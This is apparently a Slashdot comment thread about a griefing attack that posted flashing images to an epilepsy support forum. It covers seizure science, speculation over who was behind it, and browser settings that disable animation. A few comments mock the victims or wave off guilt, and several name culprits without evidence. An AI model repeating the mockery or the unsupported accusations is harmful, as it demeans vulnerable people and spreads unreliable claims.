http://en.wikipedia.org/wiki/Griefer [wikipedia.org] the thing is Anon took griefing from video games into real life. before we called people who did that pranksters but the term griefing is much better since some people are so malignant towards their fellow human being that every way of causing others pain and suffering is 'cool' and 'hip' to them.

so you can take your tinfoil hat off about CoS making Anon look bad, the

Re:Anonymous, or the Hubbardistas?

[Brett Buck]

Idiot troll. Epilepsy is absolutely *not* a psychological reaction. It's purely physiological - its no different in principle than a knee-tap reflex.

          Brett

Re:Anonymous, or the Hubbardistas?

[MichaelSmith]

Epilepsy is traditionally analysed with an EEG. That makes it a neurological condition.

And yes, I do have epilepsy, but not the photosensitive kind. Back in the days when the only way to make a rapid strobe light was with xenon or neon there was a lot of attention paid to pulse rates, intensity and containment. You were not supposed to just set it up anywhere. You had to warn people.

Now that anybody can make a strobe with an array of cheap LED's the photosensitivity issue is being ignored. This is a problem because it goes beyond people with recognised seizure problems. We should not be feeding pulse trains into our eyes which mimic signals which always run inside our brains.

Re:Anonymous, or the Hubbardistas?

[Anonymous Coward]

Epilepsy has many different forms and variations of severity. Some aren't lucky and suffer from seizures triggered by sound, light, etc. For others its a non-stop thing where they can convulse many times per day.

I have epilepsy. Mine isn't triggered by rapidly blinking lights at all. Mine is caused by sleep deprivation and didn't develop until my late teens-early 20's. I'm on a very low dose of anti-seizure meds. Fortunately mine are under control. I have a driver's license and I remain very active. I don't think anyone will ever realize I have epilepsy. I'm thankful I'm fortunate enough.

Epilepsy can be caused by a genetic disorder (there's no family history) or a traumatic brain injury (very mild to very severe). Getting in a car accident, playing hockey, falling off a bike that sort of thing, if it hits the right way with no protection, you could end up with brain damage which *could* lead to epilepsy.

If there's any particular thing I want to give as a message, get your kids to wear a helmet. You seriously do not want to fuck around with risking a traumatic brain injury. I had one probably while playing sports and I think this is what's caused my problem. Bones can heal but your brain won't.

That said, this incident is highly irresponsible. If the hackers are in the US, I hope they get the full brunt of an FBI investigation.

Re:Anonymous, or the Hubbardistas?

[jd]

There are many forms of epilepsy, ranging from spurious signals being sent down neural pathways through to what used to be called "brain storms" (massive, violent electrical impulses across large swathes of the brain). They are most definitely neurological and experiments have shown how to induce temporal lobe seizures with high magnetic fields. They are dangerous and can be a progressive condition (ie: every seizure causes damage and can lead to increased risk of worsening seizures.) It doesn't help that a lot of anti-seizure medication is now associated with higher suicide risk. Because these epileptic seizures suffered by people witnessing these images caused actual damage to the brain, this is not merely an inconvenience or harassment but grievous bodily harm, an act of violence that caused brain damage to victims.

Re:

[Doctor Faustus]

Now that anybody can make a strobe with an array of cheap LED's the photosensitivity issue is being ignored. This is a problem because it goes beyond people with recognised seizure problems. We should not be feeding pulse trains into our eyes which mimic signals which always run inside our brains.
Any idea if they test police lights for this on the new cars where they just flash LEDs instead of spinning a light around? I always worry they're going to give someone a seizure when I see some of the more extrem

Re:Anonymous, or the Hubbardistas?

[schon]

Anonymous has been romanticized as a morally driven vigilante group.

This, and the fact that you're posting as an AC made me wonder if you're a cult member.

Anonymous taking on Scientology is more akin to [...] spray painting a swastika on a Jewish community center.

This made me sure of it.

It isn't. I have followed various /b/ and /i/ boards for a long time.

This is a clear debunking of the rationale present in this post. [slashdot.org]

If you know anything about the cult, you know about "Fair Game".

Considering the amount of AC posts here (like yours) that are pro-cult, it's pretty obvious that this is a *VERY* lame attempt at framing their detractors.

Re:Anonymous, or the Hubbardistas?

[Scrameustache]

pissing on a crazy homeless person, or spray painting a swastika on a Jewish community center. [...] I can appreciate the humor in those actions
[...]
I don't feel guilt. I understand why I should, but if I am not the one making a prank phone call to the parents of some recently deceased child---I can disassociate enough from the act to sit back and laugh.

Antisocial personality disorder (psychopathy) [wikipedia.org]
Diagnostic criteria

Three or more of the following are required:

1. Failure to conform to social norms with respect to lawful behaviors as indicated by repeatedly performing acts that are grounds for arrest.
2. Deceitfulness, as indicated by repeatedly lying, use of aliases, or conning others for personal profit or pleasure
3. Impulsivity or failure to plan ahead
4. Irritability and aggressiveness, as indicated by repeated physical fights or assaults
5. Reckless disregard for safety of self or others
6. Consistent irresponsibility, as indicated by repeated failure to sustain consistent work behavior or honour financial obligations
7. Lack of remorse, as indicated by being indifferent to or rationalizing having hurt, mistreated, or stolen from another.

And it isn't surprising

[Sycraft-fu]

Since there's actually a surprising amount of the population that are sociopaths (better term than psychopath for this particular disorder). Somewhere in the range of about 5-9% of people are like this. They just cannot empathize with others. They can't put themselves in the shoes of another person, and as such they cannot understand when that other person feel sad or in pain or whatever.

Most people associate this with just serial killers and while it is true that you are pretty much guaranteed to be a soci

not a problem

[Quadraginta]

I don't feel guilt. I understand why I should, but...

Don't fret about it. Guilt is no more than a built-in pro-active self-preservation thing. It's an internal warning bell that lets you know that when your civilized neighbors catch up with you, they're going to beat the shit out of you, or maybe even kill you. Don't worry about ignoring it, it's not there for anyone else's benefit.

It is scary, real, and a major force on the rise.

The proper way to say this is:

"They LAUGHED at me when I was [born deformed/dismissed from my university post/lost the vote 434,555 to 1], but soon, when my [super Internet weapon/fiendish subversive plot/giant mutated killer penis clone] is finished, THEY'LL BE SORRY!!"

Redundant.

[Ethanol-fueled]

Why did they go through all that trouble? They could have simply redirected 'em to Myspace [myspace.com].

Definitions please

[Matt Perry]

What the hell is a "Griefer?"

Re:Definitions please

[garylian]

See Wikipedia for a pretty complete explanation: http://en.wikipedia.org/wiki/Griefer [wikipedia.org]

In a nutshell, it's someone that does a deliberately obnoxious or destructive thing to another person, simply for their own personal entertainment.

So, it's not exactly being used correctly. If it was done by Anonymous in response to a supposed threat, that was a premptive strike, not a griefing. If it wasn't anonymous, but simply someone that thought it would be funny, then griefing is a correct term for it.

In future news...

[Spartan Niner]

Newbie griefers pretending to by Anonymous are caught posting from IP addresses associated with Scientology.

Of course

[PakProtector]

Obviously 'Anonymous' did this, because the Church of Scientology is so moral as to never stoop to breaking the law and framing others to remove a detractor.

Just how they would never try to drive a critic to suicide or cause the death of one of their own due to denial of basic medical treatment.

Sickening

[wwwgregcom]

As an epileptic, I find this absolutely sickening. Although I have a very mild form that is not photosensitive, this is a terrible act. For some, seizures do have a small risk of sudden death. When I was first diagnosed, I found these and similar message boards to be an absolutely invaluable resource in finding comfort and support for what is an often incurable and sometimes still stigmatized disease. For me, these forums will never feel like the same safe haven that they used to be.

Re:Sickening

[taustin]

Given how trivial it was to conduct this attack, I have say that this forum didn't "used to be" a safe haven, it only seemed to be. Now, you have a clearer understanding of how the world really works.

Re:Sickening

[vertinox]

Given how trivial it was to conduct this attack,

Did someone forget to disable the [img][/img] tags on their PHPBB forum?

To be fair, imagine what Slashdot would look like if you could post images.

Re:

[Scrameustache]

imagine what Slashdot would look like if you could post images.

I'm thinking "goatse as a repeating background image"... DAMN YOU! You made me think of a mosaic of goatses!

*cries*

Re:

[jmv]

Install noscript, set the FF option to disable animated gifs, disable flash. It's save again.

Re:

[Scrameustache]

As an epileptic, I find this absolutely sickening.

That's the point ;-)

Re:

[MillionthMonkey]

For some, seizures do have a small risk of sudden death.

Actually I seem to remember there were two women posting on that message board who got killed by status seizures within weeks of each other, just a few months ago.

Re:

[JustShootMe]

Trolling those with a disease? Your genes aren't much better. Go crawl back into the primordial muck.

Oh, hey! Looks like they changed the commenting to work inline. That's cool. So at least your comment had some redeeming value, in spite of your best efforts.

Maybe...

[SCHecklerX]

boards for epileptic support shouldn't be written with javascript and image upload ability in the first place? Just a thought. I don't recall ever having strobing marching penises coming out of the monitor at me when I read usenet all those years...

Chill dude

[Anonymous Coward]

I don't recall ever having strobing marching penises coming out of the monitor at me when I read usenet all those years...

Obviously you were just in the wrong newsgroups.

Re:Maybe...

[MillionthMonkey]

boards for epileptic support shouldn't be written with javascript and image upload ability in the first place? Just a thought.

I almost bitchslapped you down as Overrated but decided to reply instead. Those boards are using standard PHP BBS packages off the shelf. They're already pretty buggy; on the EFA you keep getting immediately logged out, you keep losing posts, etc. Surprisingly epileptics don't tend to be experts at putting together crackerjack bulletin boards secure from unconventional cyberattacks that nobody anticipates, like asshats uploading strobe light movies. I guess they have to shut down their mailing lists, too, in case a Scientologist uploads an attachment.

Most of the seizure-induced hallucinations I get while staring at a computer screen happen when I'm using Eclipse. Blocks of code start disappearing into blind spots or they fly across the screen but somehow remain at their home positions. It's actually kind of annoying because I know I have 20 minutes to check the shit in. Although it's visually-related epilepsy, it doesn't seem to be photosensitive so a trick like this probably wouldn't work. It's more shocking and insulting than anything. But one thing I will say about epilepsy is that you have to put up with a surprising amount of shit from people. [qj.net]

Very Neuromancer

[lobiusmoop]

Reminds me of the terrorist attack by the Panther Moderns on Sense/Net in Neuromancer

More like...

[JaredOfEuropa]

More like Snow Crash [amazon.com], or even better: the short story BLIT [answers.com] by David Langford. This story immediately brought BLIT back to mind.

Re:

[dasunt]

The 'War against the Rull' by A. E. Van Vogt had that idea as well.

"As he turned away, quite incidentally, accidentally, he glanced at the rock behind which he had shielded himself from possible direct fire. Glanced at and saw the lines on it. Intricate lines, based on an profound and inhuman study of human neurons. He recognized them for what they were and stiffened in horror. He thought, Where--where am I being directed?

"That much had been discovered after his return from Mira 23, with his report of

Yet another reason javascript should be abandoned.

[Dogun]

If the past 15 years of strobing pages, CPU gobbling animated backgrounds, looped 'all keys disabled' rickrolling with an endless supply of modal dialogs weren't enough to convince you, perhaps this should be.

Flash, you're next.

Re:Yet another reason javascript should be abandon

[Blakey Rat]

Yeah, screw the 240 million websites that use Javascript every day without causing seizures! We should throw them all out the window immediately because of this one offense! Also, I think C++ was used to write a virus once, so let's destroy all C++ compilers and programs! Help us make the world safe again, Dogun!

Seen This Before

[Ganty]

I've already seen this sort of thing before. About six years ago Reuters had a series of flash based adverts for BMW that produced a swirling pattern on the screen. This advert produced an epileptic fit in one of our users and when I sent an emergency email to Reuters the adverts were pulled.

For someone to do this on purpose is kinda sick.

Ganty

Riiight...

[Zocalo]

And I am supposed to believe that this is Anonymous branching out from their protest against Scientology, and not some asshat member of Scientology trying to give Anonymous a bad name because...?

Anonymous has a beef with Scientology, and that is the sole extent of their agenda to date, so there is absolutely no reason for them to suddenly decide to launch an attack against epileptics. On the other hand there is every reason for Scientology to try and smear Anonymous in order to gain a more sympathetic ear in any future court actions against Anonymous. Given the track record Scientology has with the use of smear campaigns against people and organisations that try to stand up to them, I'd say it's pretty obvious what's really going on here.

Oh, and expect incoming pro-Scientology astroturfers in 3... 2... 1...

Re:Riiight...

[Zocalo]

Actually, I was just pointing out that Anonymous has no motive for an attack on epileptics while Scientology has every reason to want to discredit Anonymous and this smacks of Scientology's usual modus operandi. I don't believe I made any statement about my views on either side, other than that I'm not particularly pro-Scientology, but what the hell... For the record I think that the upper echelons of Scientology are a bunch of deceitful scumbags whose sole purpose in the organisation is to manipulate the more gullible members of the organisation into giving them large sums of cash and will do pretty much anything to keep that gravy train flowing. Typical cult in other words.

Anonymous, on the otherhand, I think has a worthwhile agenda in showing the public at large just what they can expect should they ever be tempted to join, or coerced into joining, Scientology. I do however have a problem with *their* operational methods though - not the peaceful protests, which are harmless to everyone and everything except Scientology's recruitment drive and gravy train, but their more militant activities like launching a series of DDoS attacks against Scientology. That does indeed smack of them consisting, at least in part, of a bunch of 13-year old script kiddies with no life that are perfectly capable of smearing themselves.

Will the Authorities Take Notice Now?

[ThePolkapunk]

Many computer security analysts have been screaming for years that there needs to be tighter security in applications and that law authorities need to do more against cyber crimes. As much as I don't want the law breathing down my back when I'm using the computer, it's time someone did something to stop stupid little script kiddies from pulling shit like this.

Now that the line has been crossed, and hackers are using exploits to cause physical harm to people, I hope that this will be the wakeup call for

Re:Will the Authorities Take Notice Now?

[nevali]

Er, how about this: people who run websites need to be competent at it.

Many forum software packages have the ability to selectively or globally disable the upload animated GIFs. Given that they're forums for suffers of epilepsy, you'd think it'd be fairly high up on the list given that photosensitivity is a well-known symptom.

Similarly, a sticky forum post on "How to avoid a seizure when browsing the web" would be helpful. Links to Firefox plug-ins, and the like.

I was wondering when this would happen

[mlwmohawk]

I have a relative in the Fire Alarm business and he tells me about the restrictions on strobe lights on long corridors, they have to flash simultaneously because the random flashes could cause a seizure during a fire. I thought, "wow, that's right. I wonder if they actualy thought about it before hand, or if they wrote the regulation based on a real incident."

Anyway, having that on my mind, I was looking at some of the more garish web sites and thought to myself, "I wonder if someone would construct a site that could trigger an epileptic seizure. Well, now we know.

As for "Anonymous" be the same anti-scientology "Anonymous," I would bet with 99% confidence that if there is such an accusation, it is scientology that did it. We know "why" anonymous is going after scientology, whether you agree or disagree, they have a cause. The epilepsy incident has nothing to do with that cause, and furthermore undermines it. It only makes sense that since it undermines the cause of "anonymous," it was likely done by scientology since they are the ones with the actual motive.

Re:

[MoogMan]

Or maybe it was "Anonymous" after all, knowing that people would come to the same conclusion as you have, and blame Scientology.

This does not sound like Anon

[Toandeaf]

Maybe this is how Anon rolls on 7chan, but the Anon of 4chan simply does not work like this. Perhaps someone encouraged them, but usually such an idea would be met with accusations of using /b/ as a personal army. The raids I have seen always target pornographic webcams, racist radio shows, or rival internet groups such as Gaia. Anon may laugh at harm that happens on others, but they aren't actually malicious when it comes to their own actions. It is more their style to troll a dyslexia forum with garbled paragraphs. I suppose this could be the doing of a minority of truly evil people who take advantage of the anonymity, but this just seems too convenient of timing. I believe the Co$ is to blame for this.

Re:This does not sound like Anon

[bersl2]

I would tend to agree.

I don't even think the hardcore /i/nsurgents would resort to something like this. I've started to look through a few of the places where this sort of this is discussed (the few I know about), and I haven't found anything. I think I might even leave them a note about someone doing this in the name of Anon, and how this undermines their long-term goals.

However, I would not completely rule out a rogue newfag or two who thinks this is funny.

Dude,

[DancesWithBlowTorch]

Maybe this is how Anon rolls on 7chan, but the Anon of 4chan simply does not work like this. Perhaps someone encouraged them, but usually such an idea would be met with accusations of using /b/ as a personal army.

What the hell are you talking about?

Man, I thought I was 1337, but it seems those days are gone. Great, now what am I going to do when my dad finds out I don't understand the internet anymore?

I heard that Anonymous posts here?

[Anonymous Coward]

Is that true?

This is indirectly a good thing...

[JustShootMe]

Not the actual "attack" itself, of course. But immediately, someone mentioned "anonymous" and everyone knew who they were, that they had a beef with scientology, and that scientology was possibly behind it to discredit them.

This shows that scientology is losing the PR war. They are completely out of their league when they can't actually identify and personally harass their detractors.

Next Attack for Anonymous ... with Beer and Pizza!

[PC and Sony Fanboy]

Next thing you know, someone claiming to be part of Anonymous will be posting pictures of pizza on weightwatchers forums, and pictures of beer on the AA forums.

Snowcrash?

[Lt.Hawkins]

Man, that's trippy. Assholy, but trippy. Never thought Snowcrash would come true! /me sharpens katana and looks for YT.

Not the peaceful activists.A msg from Anonymous.

[Anonymous Coward]

Hello, Slashdot. We are Anonymous.

Anonymous, peacefully campaigning against the Church of Scientology, condemn this attack.

There is also little doubt that those who would attack a site such as this, and unprovoked, are the same 'Unnamed People' who covered the anti-Church of Scientology Campaign wiki page, Projecct Chanology on partyvan .info with the most horrendous filth porn and human gore imagery to be found online.
It is possible that these were both orchestrated by anti-moralist members of 'the chans', but it is also not impossible that the 'Church's' online operatives managed to instigate this unprecedented attack to discredit the peaceful protesters.
Perhaps 'the chans' do not realize they are being manipulated.

Sadly anonymity is a catch all, literally anyone can and will say "I am Anonymous", even The Church of Scientology is "Anonymous" when they connect to public FTPs. You can not have the security of anonymity both inside and out, without the problems of defending against anonymous insurgents, just ask Wikileaks.

Condolences to any harmed.
This attack, as any violent attack, is condemned by Anonymous.

Though the 'Church' will push this at every opportunity, it will feed their policy of ad hominem attack. It does not in any way negate the crimes of the 'Church', they cannot hide behind another.
We will legally fight the corrupt pyramid scheme organization that is the Church of Scientology regardless.

Knowledge is free.

We are Anonymous.

We are Legion.

We do not forgive.

We do not forget.

Expect us.

This is a "false flag" tactic by Scientology

[leereyno]

http://en.wikipedia.org/wiki/False_flag [wikipedia.org]

The cult is doing this to make Anonymous look bad.

I used to be a Scientologist, and I can tell you based on first hand experience that this is EXACTLY what the cult would do.

This is not the work of those who fight and oppose the cult of Scientology.

The cult has already taken to creating fake videos and messages that appear to be from Anonymous and that contain threats of violence against the cult itself. This latest stunt is simply the next step in their campaign of demonizing Anonymous.

The problem with Anonymous is that anyone can pretend to be part of the group. While they are highly resistant to efforts by the cult to target them as individuals, they are vulnerable to false-flag tactics such as this one.

This is not the first time the cult has done this. Back in the 70's they targeted a woman for writing a book that revealed the evil nature of the cult. The cult responded by forging evidence linking her to a fake bomb threat, among other things:

http://en.wikipedia.org/wiki/Operation_Freakout [wikipedia.org]

She was facing a long prison sentence until the FBI accidentally discovered that the cult had set her up while conducting another investigation

http://en.wikipedia.org/wiki/Operation_Snow_White [wikipedia.org]

Scientology is evil. It is something that most people who have never dealt with the cult have a hard time understanding or believing. To describe the nature of this cult to someone who is unfamiliar with it is very difficult because polite society lacks the terms needed to accurately convey the depth of evil found within this organization. It is also difficult because an accurate description defies belief. Most people are unable to contemplate something so evil actually existing in the real world.

But scientology is that bad, and it is real. Its victims are a multitude and its crimes are horrific.

But don't take my word for it, read up on it yourself:

http://www.xenu.net/ [xenu.net]
http://www.cs.cmu.edu/~dst/Library/ [cmu.edu]

Re:Assholes

[Jeremiah Cornelius]

And so, the Scientology strategy of blaming their detractors through a blackbag job worked. They got you to believe this was by Anonymous.

Re:

[c_forq]

And they are completely in the clear by their own code, sense according to scientology there are no psychological problems and epilepsy is a psychological disorder.

Re:Cruel and unusual

[MikeFM]

It's not even new. I remember a virus in about the mid 90s that would attempt to cause the victim to have a seizure in the same manner. Also there was some Japanese cartoon that accidentally caused seizures in som watchers and it was popular for a while for people to post clips of the offending scenes on their websites. Not much a hack.

I am surprised that sufferers of this condition can't get filtering software for their computer though that analyzes what is happening on the screen and blacks out, or otherwise makes safe, dangerous content. Looking for strobes should be a fairly easy thing. Hell, I'd be surprised if a lot of ad banners don't cause seizures.

Re:Cruel and unusual

[FudRucker]

with Firefox open about:config search for image_animation_mode and set to none

with Seamonkey in preferences > Privacy & Security > Images select Never to Animated images should loop...

not sure about Opera as i don't have it currently installed, and as far as Internet Explorer i have no clue since i do not have or use windows...

Re:Cruel and unusual

[trytoguess]

To disable animation in Opera you go to Tools > Quick Preferences > uncheck "Enable GOF/SVG Animation"

Re:Cruel and unusual

[Anonymous Coward]

To disable animation in lynx you go to ... uh... carry on.

Re:Cruel and unusual

[uglyduckling]

Yup, and in fact the stupid London 2012 olympics logo trailer could trigger epilepsy [bbc.co.uk] and had to be removed from the web site. The fact that it is uniquely offensive in its own right without being combined into a mind-wrenching flashing animation makes the whole thing even worse.

Re:Hackers?

[Blakey Rat]

The media never could grasp the correct usage of hackers (hackers versus crackers

Ok, that battle was lost literally 20 years ago, give it the hell up already. Seriously, you're only deluding yourself on this one.

hackers versus script kiddies

I've always assumed that script kiddies are a type of hacker who use only code/exploits written by other people instead of writing their own.

and confusing Anonymous for hackers isn't likely to help.

Yes, well, if they're going to be a group, maybe they should get a name that isn't completely moronic.

Re:

[PakProtector]

I notice a number of folks here are convinced that these attacks are Co$ trying to discredit Anon. I wonder how many have wondered if it's Anon trying to discredit Co$ because they know that in circles where common sense, logic, and reason are used that the Co$ is automatically blamed for anything like this that they're anywhere near.

There, fixed that for you.

The Church of Scientology has a long history of shady, underhanded, illegal and murderous activity, including infiltration of the United States Government.

This is entirely their style.

Re:Stop lying, Christ.

[Lehk228]

you are the 4th or 5th person with a low post count asserting that Scientology could not possibly have done this and that they aren't afraid of anonymous.

a pattern emerges

the pattern says go back to clearwater

Re:Griefers?

[try_anything]

Background: I'm not a WoW player or an FPS player. I generally don't play online games against other people, and I avoid forums set up in a way that encourages casual trolling. I got excellent scores on the verbal sections of the SAT and GRE :-)

I like the words "griefer" and "griefing" and would not hesitate to use them in conversation. They are not redundant with other words that are already in my vocabulary. I know other words like "jerk" and "asshole" and "sadist," but they're a bit different. "Sadist" is similar to "griefer," but even "sadist" describes a person's character more than his actions.

To me, "griefing" suggests something open, superficial, and habitual, while "sadism" suggests something profound that may be entirely hidden. A griefer might leave a broken bottle on an old man's back porch and laugh about it, but would probably feel sick if he saw an old man crying with glass stuck in his feet. A sadist wouldn't bother leaving the bottle if he couldn't watch.

Griefers wish they were sadists, but they aren't. Thus, they must take an industrial approach rather than a hedonistic one -- "How much pain have I caused?" instead of "How much pain have I enjoyed?" The internet is a perfect place for griefing, because you can gloat about a person's suffering without experiencing the empathic response that a real, live, suffering human being might provoke.